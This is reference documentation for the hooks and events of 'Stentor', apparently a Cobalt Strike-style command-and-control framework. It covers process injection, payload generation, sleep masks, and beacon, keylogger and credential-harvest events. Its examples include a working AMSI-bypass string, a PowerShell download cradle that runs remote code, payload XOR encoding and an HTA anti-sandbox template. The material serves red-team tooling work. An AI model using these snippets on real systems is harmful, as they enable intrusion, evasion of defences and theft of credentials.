Hooks & Events¶
Stentor's CNA scripting engine provides two extensibility mechanisms for customizing C2 behavior: hooks for overriding defaults, and events for reactive automation.
Overview¶
Hooks¶
Hooks let you override default behavior in the C2 pipeline. When the server reaches a decision point (e.g., how to inject into a process, how to generate an artifact), it checks whether a CNA hook is registered. If so, the hook's return value replaces the default. If the hook returns $null, the default behavior is used.
Hooks are registered with the set keyword. Only one handler per hook name -- last writer wins (if multiple scripts set the same hook, the most recently loaded script's handler takes effect).
set HOOK_NAME {
# $1, $2, ... are the hook arguments
# Return a value to override default behavior
# Return $null to use default behavior
return $custom_value;
}
Events¶
Events let you react to C2 lifecycle activity. When something happens (beacon checks in, operator connects, credential harvested), the EventBus dispatches the event to all registered handlers. Multiple handlers per event -- all registered handlers fire (unlike hooks).
Events are registered with the on keyword:
on event_name {
# $1, $2, ... are the event arguments
# No return value expected
println("Event fired: $1");
}
Wildcard handlers
Register a handler for * to receive every event dispatched by the EventBus. This is useful for audit logging or debugging:
Handler timeout
Event handlers execute with a 30-second timeout. Long-running handlers will be terminated. Keep handlers fast and use bsleep for delayed beacon operations.
Hooks Reference¶
Stentor implements 29 hooks across 9 categories. Each hook documents its CNA signature, arguments, return convention, and a usage example.
Injection Hooks¶
These hooks override how Stentor injects code into processes. The injection pipeline checks for a hook before using the default technique. There are four variants covering fork-and-run vs. explicit injection, in SYSTEM vs. user context.
PROCESS_INJECT_SPAWN¶
Override fork-and-run injection (used by shspawn, execute-assembly, powerpick, and other commands that spawn a sacrificial process).
set PROCESS_INJECT_SPAWN {
# $1 = beacon ID (string)
# $2 = DLL/shellcode bytes (string)
# $3 = ignore current token ("true"/"false")
# $4 = architecture ("x86"/"x64")
# $5 = argument buffer (string)
}
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | DLL or shellcode bytes to inject |
$3 | string | "true" to ignore stolen token, "false" to use it |
$4 | string | Target architecture: "x86" or "x64" |
$5 | string | Argument buffer passed to the injected code |
Return: Any non-null value indicates the hook handled injection. Return $null for default behavior.
set PROCESS_INJECT_SPAWN {
local('$bid $dll $arch');
$bid = $1;
$dll = $2;
$arch = $4;
# Use custom injection: QueueUserAPC into a suspended process
btask($bid, "Using custom APC injection");
bdllspawn($bid, $dll, $arch, "rundll32.exe", 1);
return "handled";
}
Re-entrancy protection
The hook invoker prevents infinite recursion. If your hook calls a b* function that would trigger PROCESS_INJECT_SPAWN again, the re-entrant call uses default behavior instead of calling the hook recursively.
PROCESS_INJECT_EXPLICIT¶
Override explicit injection into an existing process (used by shinject, dllinject, and targeted injection commands).
set PROCESS_INJECT_EXPLICIT {
# $1 = beacon ID, $2 = DLL bytes, $3 = target PID,
# $4 = offset, $5 = architecture, $6 = argument buffer
}
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | DLL or shellcode bytes to inject |
$3 | string | Target process ID (as string) |
$4 | string | Offset into the DLL (as string) |
$5 | string | Target architecture: "x86" or "x64" |
$6 | string | Argument buffer passed to the injected code |
Return: Any non-null value indicates the hook handled injection. Return $null for default behavior.
set PROCESS_INJECT_EXPLICIT {
local('$bid $pid $dll $arch');
$bid = $1;
$dll = $2;
$pid = $3;
$arch = $5;
btask($bid, "Injecting into PID $pid via NtMapViewOfSection");
# Custom injection technique here
return "handled";
}
PROCESS_INJECT_SPAWN_USER¶
Override fork-and-run injection when running in a stolen user context (after steal_token). Same arguments as PROCESS_INJECT_SPAWN.
set PROCESS_INJECT_SPAWN_USER {
# $1 = bid, $2 = dll_bytes, $3 = ignore_token, $4 = arch, $5 = arg_buffer
}
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | DLL or shellcode bytes |
$3 | string | "true" to ignore current token |
$4 | string | Architecture: "x86" or "x64" |
$5 | string | Argument buffer |
Return: Any non-null value indicates the hook handled injection. Return $null for default behavior.
PROCESS_INJECT_EXPLICIT_USER¶
Override explicit injection into an existing process when running in a stolen user context. Same arguments as PROCESS_INJECT_EXPLICIT.
set PROCESS_INJECT_EXPLICIT_USER {
# $1 = bid, $2 = dll_bytes, $3 = pid, $4 = offset, $5 = arch, $6 = arg_buffer
}
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | DLL or shellcode bytes |
$3 | string | Target process ID |
$4 | string | Offset into the DLL |
$5 | string | Architecture: "x86" or "x64" |
$6 | string | Argument buffer |
Return: Any non-null value indicates the hook handled injection. Return $null for default behavior.
Payload Generation Hooks¶
These hooks intercept the payload generation pipeline, allowing you to customize artifact output, modify raw shellcode, replace reflective loaders, or change compression routines.
EXECUTABLE_ARTIFACT_GENERATOR¶
Override EXE/DLL artifact generation. This is the Artifact Kit hook -- use it to replace the default executable template with a custom one (e.g., signed binary, packed executable, or custom loader).
| Argument | Type | Description |
|---|---|---|
$1 | string | Artifact filename (e.g., "artifact64.exe", "artifact32.dll") |
$2 | string | Raw shellcode bytes to embed |
Return: Custom binary bytes as a string. Return $null for default artifact generation.
set EXECUTABLE_ARTIFACT_GENERATOR {
local('$artifact $shellcode $handle $data');
$artifact = $1;
$shellcode = $2;
# Load custom template from disk
$handle = openf("/opt/custom-artifacts/ $+ $artifact");
$data = readb($handle, -1);
closef($handle);
# Patch shellcode into template at marker offset
# (implementation depends on your template format)
return $data;
}
Artifact Kit
The Artifact Kit is a source code framework for building custom executables. The EXECUTABLE_ARTIFACT_GENERATOR hook is how you integrate a custom Artifact Kit into your CNA workflow. See the Evasion Kits documentation for build-time artifact customization.
RESOURCE_GENERATOR¶
Override resource script generation. This is the Resource Kit hook for script-based payloads (PowerShell, Python, HTA resource scripts).
| Argument | Type | Description |
|---|---|---|
$1 | string | Raw shellcode bytes |
Return: Custom resource script as a string. Return $null for default resource generation.
set RESOURCE_GENERATOR {
local('$shellcode $encoded');
$shellcode = $1;
# Custom encoding/obfuscation of the shellcode
$encoded = transform($shellcode, "xor");
return build_custom_loader($encoded);
}
RESOURCE_GENERATOR_VBS¶
Override VBS (Visual Basic Script) resource artifact generation.
| Argument | Type | Description |
|---|---|---|
$1 | string | Executable data (raw bytes) |
$2 | string | Executable filename |
Return: Custom VBS script as a string. Return $null for default VBS generation.
PAYLOAD_GENERATE¶
Modify raw payload bytes during generation. This hook fires after the payload is assembled but before delivery, allowing you to add custom encoding, encryption, or watermarking.
| Argument | Type | Description |
|---|---|---|
$1 | string | Listener name this payload connects to |
$2 | string | Raw payload bytes |
$3 | string | Architecture: "x86" or "x64" |
Return: Modified payload bytes as a string. Return $null to use unmodified payload.
set PAYLOAD_GENERATE {
local('$listener $payload $arch');
$listener = $1;
$payload = $2;
$arch = $3;
# XOR-encode the payload with a random key
$key = rand(0xFF);
return xor_encode($payload, $key);
}
PAYLOAD_COMPRESS¶
Override payload compression. By default, payloads may be compressed before embedding. This hook lets you replace the compression algorithm.
| Argument | Type | Description |
|---|---|---|
$1 | string | Raw payload bytes to compress |
Return: Compressed payload bytes. Return $null for default compression.
BEACON_RDLL_GENERATE¶
Replace the default reflective loader with a User-Defined Reflective Loader (UDRL). This hook fires during DLL payload generation and allows you to provide a completely custom reflective loader implementation.
| Argument | Type | Description |
|---|---|---|
$1 | string | DLL filename |
$2 | string | Raw DLL bytes |
$3 | string | Architecture: "x86" or "x64" |
$4 | hash | Options hash with keys like "listener", "profile", etc. |
Return: Custom loader DLL bytes. Return $null for the default reflective loader.
set BEACON_RDLL_GENERATE {
local('$filename $dll $arch $options');
$filename = $1;
$dll = $2;
$arch = $3;
$options = $4;
# Load custom UDRL from disk
$handle = openf("/opt/udrl/loader_ $+ $arch $+ .dll");
$loader = readb($handle, -1);
closef($handle);
# Patch beacon DLL into custom loader
return patch_loader($loader, $dll);
}
UDRL complexity
Custom reflective loaders are an advanced feature. The loader must correctly parse PE headers, resolve imports, apply relocations, and execute TLS callbacks. Test thoroughly before deployment.
BEACON_RDLL_GENERATE_LOCAL¶
Replace the reflective loader for local injection (in-process, via dllinject/shinject). This variant receives additional arguments for the parent beacon's context.
set BEACON_RDLL_GENERATE_LOCAL {
# $1 = filename, $2 = DLL bytes, $3 = arch, $4 = parent beacon ID,
# $5 = GetModuleHandleA pointer, $6 = GetProcAddress pointer, $7 = options hash
}
| Argument | Type | Description |
|---|---|---|
$1 | string | DLL filename |
$2 | string | Raw DLL bytes |
$3 | string | Architecture: "x86" or "x64" |
$4 | string | Parent beacon ID (the beacon performing injection) |
$5 | string | GetModuleHandleA function pointer (as string) |
$6 | string | GetProcAddress function pointer (as string) |
$7 | hash | Options hash |
Return: Custom loader DLL bytes. Return $null for the default reflective loader.
PowerShell Hooks¶
These hooks customize PowerShell command construction, download cradles, and script compression.
POWERSHELL_COMMAND¶
Modify PowerShell command construction before execution. Use this to change how PowerShell commands are wrapped (e.g., add -ExecutionPolicy Bypass, custom encoding, AMSI bypass prepends).
set POWERSHELL_COMMAND {
# $1 = PowerShell command string, $2 = is remote execution ("true"/"false")
}
| Argument | Type | Description |
|---|---|---|
$1 | string | The PowerShell command to execute |
$2 | string | "true" if this is a remote execution context |
Return: Modified command string. Return $null for default behavior.
set POWERSHELL_COMMAND {
local('$cmd $remote');
$cmd = $1;
$remote = $2;
# Prepend AMSI bypass to every PowerShell command
$bypass = "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue(\$null,\$true);";
return $bypass . $cmd;
}
POWERSHELL_DOWNLOAD_CRADLE¶
Override the PowerShell download cradle used for staged payloads.
| Argument | Type | Description |
|---|---|---|
$1 | string | URL the download cradle should fetch from |
Return: Complete PowerShell download cradle script. Return $null for default cradle.
set POWERSHELL_DOWNLOAD_CRADLE {
local('$url');
$url = $1;
# Custom cradle using .NET WebClient with proxy support
return "IEX([System.Net.WebClient]::new().DownloadString(' $+ $url $+ '))";
}
POWERSHELL_COMPRESS¶
Override PowerShell script compression. Applied to PowerShell payloads before delivery.
| Argument | Type | Description |
|---|---|---|
$1 | string | PowerShell command string |
Return: Compressed/encoded PowerShell command. Return $null for default compression.
HTA Hooks¶
These hooks customize HTML Application (HTA) payload generation.
HTMLAPP_EXE¶
Override HTA generation for EXE-based payloads.
| Argument | Type | Description |
|---|---|---|
$1 | string | Executable data (raw bytes) |
$2 | string | Executable filename |
Return: Custom HTA template as a string. Return $null for default HTA.
set HTMLAPP_EXE {
local('$exe $name');
$exe = $1;
$name = $2;
# Build custom HTA that drops and executes the EXE
return "<html><head><script language=\"VBScript\">
' Custom HTA with anti-sandbox checks
If Not IsEmpty(GetObject(\"winmgmts:root\\cimv2\").ExecQuery(\"SELECT * FROM Win32_ComputerSystem\").ItemIndex(0).Model) Then
' Proceed with execution
End If
</script></head></html>";
}
HTMLAPP_POWERSHELL¶
Override HTA generation for PowerShell-based payloads.
| Argument | Type | Description |
|---|---|---|
$1 | string | PowerShell command to execute |
Return: Custom HTA template. Return $null for default HTA.
Sleep Mask Hooks¶
These hooks customize the sleep mask kit -- the code that encrypts beacon memory during sleep intervals.
BEACON_SLEEP_MASK¶
Provide a custom sleep mask implementation. This hook fires during payload generation and returns source code for the sleep mask routine.
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon type: "default" or "pivot" |
$2 | string | Architecture: "x86" or "x64" |
$3 | hash | Options hash with keys like "listener", "profile" |
Return: Custom sleep mask source code (bytes). Return $null for the default or kit-uploaded sleep mask.
set BEACON_SLEEP_MASK {
local('$type $arch $options $handle $source');
$type = $1;
$arch = $2;
$options = $3;
# Load custom sleep mask source for the target arch
$handle = openf("/opt/sleepmask/mask_ $+ $arch $+ .go");
$source = readb($handle, -1);
closef($handle);
return $source;
}
SLEEP_MASK_KIT_BUILD¶
Modify build flags for the sleep mask compilation. This hook fires before the payload request is dispatched to the relay, allowing you to add custom compiler flags.
| Argument | Type | Description |
|---|---|---|
$1 | string | Path to the sleep mask source file (informational, read-only) |
$2 | string | Target architecture: "x86" or "x64" |
$3 | string | Current build flags string |
Return: Modified build flags string. Return $null for default flags.
set SLEEP_MASK_KIT_BUILD {
local('$source $arch $flags');
$source = $1;
$arch = $2;
$flags = $3;
# Add custom build tag for timer-queue sleep
return $flags . " -tags timer_queue_sleep";
}
Beacon Lifecycle Hooks¶
These hooks intercept beacon command processing and first check-in behavior.
BEACON_INITIAL_EMPTY¶
Handle a new beacon's first check-in when no tasks are pending. Use this to automatically queue initial tasks for every new beacon.
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID of the newly connected beacon |
Return: Any non-null value indicates the hook handled the check-in. Return $null for default behavior.
set BEACON_INITIAL_EMPTY {
local('$bid');
$bid = $1;
# Auto-task every new beacon
bsleep($bid, 10, 20); # Set 10s sleep, 20% jitter
bps($bid); # List processes
bipconfig($bid); # Network config
return "handled";
}
BEACON_COMMAND_PREPROCESS¶
Modify a beacon command before it is executed. Allows command interception, aliasing, logging, or transformation.
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | Command string about to be executed |
Return: Modified command string. Return $null to use the original command.
set BEACON_COMMAND_PREPROCESS {
local('$bid $cmd');
$bid = $1;
$cmd = $2;
# Log every command for audit
elog("[AUDIT] Beacon $bid : $cmd");
# Block dangerous commands in production
if ("rm -rf" isin $cmd) {
berror($bid, "Blocked: destructive command");
return ""; # Return empty to suppress
}
return $null; # Use original command
}
BEACON_COMMAND_POSTPROCESS¶
Process a beacon command after completion. Allows output transformation, alerting, or post-processing logic.
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | Command that was executed |
$3 | string | Command output |
Return: Any non-null value indicates the hook handled the output. Return $null for default behavior.
Listener Hooks¶
These hooks intercept listener lifecycle events and retry behavior.
LISTENER_START¶
React when a listener starts successfully.
| Argument | Type | Description |
|---|---|---|
$1 | string | Listener name (e.g., "HTTPS Relay") |
$2 | string | Listener type (e.g., "https", "dns", "smb") |
Return: Any non-null value indicates the hook handled the event. Return $null for default behavior.
LISTENER_STOP¶
React when a listener stops.
| Argument | Type | Description |
|---|---|---|
$1 | string | Listener name |
$2 | string | Listener type |
Return: Any non-null value indicates the hook handled the event. Return $null for default behavior.
LISTENER_MAX_RETRY_STRATEGIES¶
Define custom retry strategies for beacon exit-on-failure behavior. Unlike other hooks, this takes no arguments and returns a newline-separated list of strategy strings.
Return: Newline-separated strategy strings (e.g., "exit-50-25-5m\nexit-75-50-15m"). Return $null for default strategies.
SSH Hooks¶
SSH_COMMAND_PREPROCESS¶
Modify an SSH command before execution. Works identically to BEACON_COMMAND_PREPROCESS but for SSH sessions.
| Argument | Type | Description |
|---|---|---|
$1 | string | SSH session (beacon) ID |
$2 | string | Command string to execute |
Return: Modified command string. Return $null to use the original command.
Web Hooks¶
PROFILER_HIT¶
React when the system profiler receives a web visit. Use this for visitor tracking, fingerprinting, or conditional payload delivery.
| Argument | Type | Description |
|---|---|---|
$1 | string | Remote IP address |
$2 | string | User-Agent header |
$3 | string | Requested URI |
Return: Any non-null value indicates the hook handled the event. Return $null for default behavior.
set PROFILER_HIT {
local('$ip $ua $uri');
$ip = $1;
$ua = $2;
$uri = $3;
# Log profiler hits
elog("[PROFILER] $ip visited $uri (UA: $ua)");
return $null;
}
WEB_HIT¶
React when the relay web server receives an HTTP request.
| Argument | Type | Description |
|---|---|---|
$1 | string | Remote IP address |
$2 | string | HTTP method ("GET", "POST", etc.) |
$3 | string | Requested URI |
$4 | string | User-Agent header |
Return: Any non-null value indicates the hook handled the event. Return $null for default behavior.
Other Hooks¶
PYTHON_COMPRESS¶
Override Python script compression for Python-based payloads.
| Argument | Type | Description |
|---|---|---|
$1 | string | Python command string |
Return: Compressed/encoded Python command. Return $null for default compression.
BEACON_RDLL_SIZE¶
Specify a custom RDLL (Reflective DLL) size for payload generation. Use this when your custom reflective loader requires more space than the default allocation.
| Argument | Type | Description |
|---|---|---|
$1 | string | Architecture: "x86" or "x64" |
$2 | string | "true" if generating a stageless payload |
Return: Integer size as a string (e.g., "512000"). Return $null for default size.
set BEACON_RDLL_SIZE {
local('$arch $stageless');
$arch = $1;
$stageless = $2;
if ($arch eq "x64") {
return "512000"; # 500KB for x64 UDRL
}
return "256000"; # 250KB for x86
}
PSEXEC_SERVICE¶
Set a custom PsExec service name. Unlike other hooks, this is a simple string value (not a closure).
| Setting | Type | Description |
|---|---|---|
| Value | string | Custom service name for PsExec lateral movement |
Return: N/A -- the value is read directly when PsExec is invoked.
String hook
PSEXEC_SERVICE is unique among hooks: it stores a string value rather than a closure. Use set PSEXEC_SERVICE "name"; -- not set PSEXEC_SERVICE { return "name"; }.
POSTEX_RDLL_GENERATE¶
Replace the default post-exploitation reflective loader. This hook applies to post-ex DLLs (mimikatz, screenshot, keylogger modules) rather than the beacon itself.
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID requesting the post-ex module |
$2 | string | Raw DLL bytes |
$3 | string | Architecture: "x86" or "x64" |
Return: Custom post-ex DLL bytes. Return $null for the default loader.
Hooks Summary Table¶
Quick reference for all 29 hooks:
| Hook | Category | Arguments | Returns |
|---|---|---|---|
PROCESS_INJECT_SPAWN | Injection | bid, dll, ignore_token, arch, args | bool |
PROCESS_INJECT_EXPLICIT | Injection | bid, dll, pid, offset, arch, args | bool |
PROCESS_INJECT_SPAWN_USER | Injection | bid, dll, ignore_token, arch, args | bool |
PROCESS_INJECT_EXPLICIT_USER | Injection | bid, dll, pid, offset, arch, args | bool |
EXECUTABLE_ARTIFACT_GENERATOR | Payload Gen | artifact_file, shellcode | bytes |
RESOURCE_GENERATOR | Payload Gen | shellcode | string |
RESOURCE_GENERATOR_VBS | Payload Gen | exe_data, exe_name | string |
PAYLOAD_GENERATE | Payload Gen | listener, payload, arch | bytes |
PAYLOAD_COMPRESS | Payload Gen | payload_bytes | bytes |
BEACON_RDLL_GENERATE | Payload Gen | filename, dll, arch, options | bytes |
BEACON_RDLL_GENERATE_LOCAL | Payload Gen | filename, dll, arch, bid, gmha, gpa, options | bytes |
POWERSHELL_COMMAND | PowerShell | command, is_remote | string |
POWERSHELL_DOWNLOAD_CRADLE | PowerShell | url | string |
POWERSHELL_COMPRESS | PowerShell | ps_command | string |
HTMLAPP_EXE | HTA | exe_data, exe_name | string |
HTMLAPP_POWERSHELL | HTA | ps_command | string |
BEACON_SLEEP_MASK | Sleep Mask | beacon_type, arch, options | bytes |
SLEEP_MASK_KIT_BUILD | Sleep Mask | source_path, arch, flags | string |
BEACON_INITIAL_EMPTY | Lifecycle | bid | bool |
BEACON_COMMAND_PREPROCESS | Lifecycle | bid, command | string |
BEACON_COMMAND_POSTPROCESS | Lifecycle | bid, command, output | bool |
LISTENER_START | Listener | name, type | bool |
LISTENER_STOP | Listener | name, type | bool |
LISTENER_MAX_RETRY_STRATEGIES | Listener | (none) | string |
SSH_COMMAND_PREPROCESS | SSH | bid, command | string |
PROFILER_HIT | Web | ip, ua, uri | bool |
WEB_HIT | Web | ip, method, uri, ua | bool |
PYTHON_COMPRESS | Other | py_command | string |
BEACON_RDLL_SIZE | Other | arch, is_stageless | int |
PSEXEC_SERVICE | Other | (string value) | string |
POSTEX_RDLL_GENERATE | Other | bid, dll, arch | bytes |
Events Reference¶
Stentor dispatches 57+ events across 15 categories. All events are non-blocking: each handler runs in its own goroutine with panic recovery.
Beacon Lifecycle Events¶
These events fire during the beacon connection lifecycle -- initial check-in, subsequent check-ins, mode changes, and exit.
beacon_initial¶
Fires when a new beacon checks in for the first time.
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
Source: c2/encrypted_handler.go Checkin(), c2/handler.go Checkin()
beacon_initial_empty¶
Fires when a new beacon checks in and has no pending tasks. This is distinct from beacon_initial and fires in addition to it.
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
Source: c2/encrypted_handler.go Checkin(), c2/handler.go Checkin()
beacon_checkin¶
Fires on subsequent check-ins (not the first). Use this for monitoring beacon health and connectivity.
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | Timestamp of the check-in |
Source: c2/encrypted_handler.go Checkin(), c2/handler.go Checkin()
beacon_exit¶
Fires when a beacon is removed (stale cleanup or manual delete).
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
Source: c2/handler.go WireBeaconExitEvent() via BeaconRegistry callback
beacon_mode¶
Fires when a beacon changes its transport mode (e.g., switching between DNS modes).
on beacon_mode {
# $1 = beacon ID, $2 = new mode, $3 = timestamp
elog("Beacon $1 switched to $2 mode");
}
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | New transport mode (e.g., "dns", "dns6", "dns-txt") |
$3 | string | Timestamp |
Source: c2/encrypted_handler.go SubmitResult() [technique=transport_mode]
Beacon Task/Output Events¶
These events fire when commands are queued, input is received, and output arrives from beacons.
beacon_tasked¶
Fires when a command is queued for a beacon.
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | Command string queued |
$3 | string | Timestamp |
Source: handler/cockpit_shell.go enqueueAndRespond()
beacon_input¶
Fires when an operator or script queues input for a beacon.
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | Operator who sent the command (or "aggressor" for CNA scripts) |
$3 | string | Command string |
$4 | string | Timestamp |
Source: handler/cockpit_shell.go enqueueAndRespond(), aggressor/beacon_api.go
beacon_output¶
Fires when a beacon returns successful task output.
on beacon_output {
# $1 = beacon ID, $2 = output text, $3 = timestamp
println("[output] $1 : $2");
}
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | Output text |
$3 | string | Timestamp |
Source: c2/encrypted_handler.go SubmitResult(), c2/handler.go SubmitResult()
beacon_output_alt¶
Fires for structured/alternate-format output (e.g., ls, ps, jobs output that has a special format).
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | Structured output data |
$3 | string | Timestamp |
Source: c2/encrypted_handler.go SubmitResult() [OutputType == "alt"]
beacon_error¶
Fires when a beacon returns a task error.
on beacon_error {
# $1 = beacon ID, $2 = error message, $3 = timestamp
elog("[ERROR] Beacon $1 : $2");
}
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | Error message |
$3 | string | Timestamp |
Source: c2/encrypted_handler.go SubmitResult(), c2/handler.go SubmitResult()
Beacon Specialized Output Events¶
These events fire for specific output types, providing more granular event handling than the generic beacon_output_alt.
beacon_output_jobs¶
Fires when job listing output arrives from a beacon.
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | Job listing output |
$3 | string | Timestamp |
Source: c2/encrypted_handler.go SubmitResult() [technique=jobs]
beacon_output_ls¶
Fires when directory listing output arrives from a beacon.
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | Directory listing output |
$3 | string | Timestamp |
Source: c2/encrypted_handler.go SubmitResult() [technique=ls]
beacon_output_ps¶
Fires when process listing output arrives from a beacon.
on beacon_output_ps {
# $1 = beacon ID, $2 = process listing, $3 = timestamp
# Parse and filter for interesting processes
}
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | Process listing output |
$3 | string | Timestamp |
Source: c2/encrypted_handler.go SubmitResult() [technique=ps]
Beacon Indicator Events¶
beacon_indicator¶
Fires when an Indicator of Compromise (IoC) is recorded for a beacon, such as a process injection or file write.
on beacon_indicator {
# $1 = beacon ID, $2 = indicator type, $3 = indicator value
elog("[IOC] $2 : $3 (beacon $1)");
}
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | Indicator type (e.g., "process", "file") |
$3 | string | Indicator value (PID, file path, etc.) |
Source: c2/encrypted_handler.go DispatchBeaconIndicator()
Download Events¶
download_start¶
Fires when a download task is dispatched to a beacon.
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | Task ID |
Source: c2/encrypted_handler.go GetTask() [task.Type=download]
download_complete¶
Fires when a download task completes successfully.
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | Download output/status |
$3 | string | Timestamp |
Source: c2/encrypted_handler.go SubmitResult() [technique=download]
Keylogger & Screenshot Events¶
keylog_hit¶
Fires when keylogger data arrives from a beacon.
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | Keylogger data (keystrokes captured) |
$3 | string | Timestamp |
Source: c2/encrypted_handler.go SubmitResult() [technique=keylog]
screenshot¶
Fires when a screenshot is received from a beacon.
| Argument | Type | Description |
|---|---|---|
$1 | string | Beacon ID |
$2 | string | Timestamp |
Source: c2/encrypted_handler.go SubmitResult() [technique=screenshot]
SSH Events¶
These events mirror the beacon lifecycle events but for SSH sessions initiated from beacons.
ssh_initial¶
Fires when an SSH session is initiated from a beacon.
| Argument | Type | Description |
|---|---|---|
$1 | string | SSH session ID |
Source: handler/cockpit_ssh.go Connect()
ssh_close¶
Fires when an SSH session is disconnected.
| Argument | Type | Description |
|---|---|---|
$1 | string | SSH session ID |
Source: handler/cockpit_ssh.go Disconnect()
ssh_output¶
Fires when SSH task output arrives.
| Argument | Type | Description |
|---|---|---|
$1 | string | SSH session ID |
$2 | string | Output text |
$3 | string | Timestamp |
Source: c2/encrypted_handler.go SubmitResult() [technique=ssh, success]
ssh_error¶
Fires when an SSH task returns an error.
| Argument | Type | Description |
|---|---|---|
$1 | string | SSH session ID |
$2 | string | Error message |
$3 | string | Timestamp |
Source: c2/encrypted_handler.go SubmitResult() [technique=ssh, error]
ssh_tasked¶
Fires when a command is queued for an SSH session.
| Argument | Type | Description |
|---|---|---|
$1 | string | SSH session ID |
$2 | string | Command string |
$3 | string | Timestamp |
Source: handler/cockpit_ssh.go Shell()
ssh_input¶
Fires when operator input is sent to an SSH session.
| Argument | Type | Description |
|---|---|---|
$1 | string | SSH session ID |
$2 | string | Operator who sent the command |
$3 | string | Command string |
$4 | string | Timestamp |
Source: handler/cockpit_ssh.go Shell()
ssh_checkin¶
Fires on SSH session activity (subsequent to initial connection).
| Argument | Type | Description |
|---|---|---|
$1 | string | SSH session ID |
$2 | string | Timestamp |
Source: c2/encrypted_handler.go SubmitResult() [technique=ssh]
ssh_indicator¶
Fires when an IoC is recorded for an SSH session.
| Argument | Type | Description |
|---|---|---|
$1 | string | SSH session ID |
$2 | string | Indicator type |
$3 | string | Indicator value |
Source: c2/encrypted_handler.go DispatchSSHIndicator()
ssh_output_alt¶
Fires for structured/alternate SSH output.
| Argument | Type | Description |
|---|---|---|
$1 | string | SSH session ID |
$2 | string | Structured output |
$3 | string | Timestamp |
Source: c2/encrypted_handler.go SubmitResult() [technique=ssh, OutputType=alt]
Listener Events¶
listener_start¶
Fires when a listener starts successfully on the relay.
| Argument | Type | Description |
|---|---|---|
$1 | string | Listener name |
$2 | string | Status message |
Source: cmd/api/main.go relay message handler [RelayEventListenerStarted]
listener_stop¶
Fires when a listener is stopped on the relay.
| Argument | Type | Description |
|---|---|---|
$1 | string | Listener name |
$2 | string | Status message |
Source: cmd/api/main.go relay message handler [RelayEventListenerStopped]
listener_error¶
Fires when a listener encounters an error.
on listener_error {
# $1 = listener name, $2 = error message
elog("[!] Listener error: $1 -- $2");
}
| Argument | Type | Description |
|---|---|---|
$1 | string | Listener name |
$2 | string | Error message |
Source: cmd/api/main.go relay message handler [RelayEventListenerError]
listener_unresolved_host¶
Fires when a listener host cannot be resolved during payload generation.
| Argument | Type | Description |
|---|---|---|
$1 | string | Unresolvable hostname |
Source: aggressor/payload_gen.go DispatchListenerUnresolvedHost()
Credential Events¶
credential_add¶
Fires when a credential is stored in the credential model (via chromedump auto-store, CNA credential_add(), or hashdump).
on credential_add {
# $1 = type, $2 = username, $3 = password/hash, $4 = source, $5 = host
elog("[CRED] $1 : $2 from $4 on $5");
}
| Argument | Type | Description |
|---|---|---|
$1 | string | Credential type (e.g., "plaintext", "hash") |
$2 | string | Username |
$3 | string | Password or hash value |
$4 | string | Source of the credential (e.g., "hashdump", "chromedump") |
$5 | string | Host where credential was harvested |
Source: cmd/api/main.go chromedumpAutoStore callback, aggressor/credential_mutation.go credentialAdd()
Operator Events¶
These events fire when operators interact with the team server chat and presence system.
event_join¶
Fires when an operator connects to the team server.
| Argument | Type | Description |
|---|---|---|
$1 | string | Operator email address |
$2 | string | Timestamp |
Source: hub/cockpit_hub.go (WebSocket connect)
event_quit¶
Fires when an operator disconnects from the team server.
| Argument | Type | Description |
|---|---|---|
$1 | string | Operator email address |
$2 | string | Timestamp |
Source: hub/cockpit_hub.go (WebSocket disconnect)
event_public¶
Fires when a public chat message is sent.
| Argument | Type | Description |
|---|---|---|
$1 | string | Sender name |
$2 | string | Chat message |
Source: aggressor/output.go ChatPublic()
event_action¶
Fires when an action chat message is sent (e.g., /me does something).
| Argument | Type | Description |
|---|---|---|
$1 | string | Sender name |
$2 | string | Action message |
Source: aggressor/output.go ChatAction()
event_msg¶
Alias for event_public. Fires when a chat message is sent through the global say channel.
| Argument | Type | Description |
|---|---|---|
$1 | string | Sender name |
$2 | string | Message |
Source: aggressor/output.go globalSay()
event_private¶
Fires when a private message is sent between operators.
| Argument | Type | Description |
|---|---|---|
$1 | string | Sender name |
$2 | string | Recipient name |
$3 | string | Private message |
Source: aggressor/output.go eventPrivate(), chatPrivate()
event_notify¶
Fires when a system notification is dispatched.
| Argument | Type | Description |
|---|---|---|
$1 | string | Notification message |
Source: aggressor/output.go eventNotify()
Data Model Update Events¶
These events fire when the underlying data model changes. They take no arguments -- query the data model to get current state.
beacons¶
Fires when the beacon data model changes (new beacon or check-in update).
on beacons {
# No arguments -- query beacons() for current state
foreach $beacon (beacons()) {
# Process updated beacon list
}
}
Source: c2/handler.go Checkin(), c2/encrypted_handler.go Checkin()
keystrokes¶
Fires when new keystroke data is received.
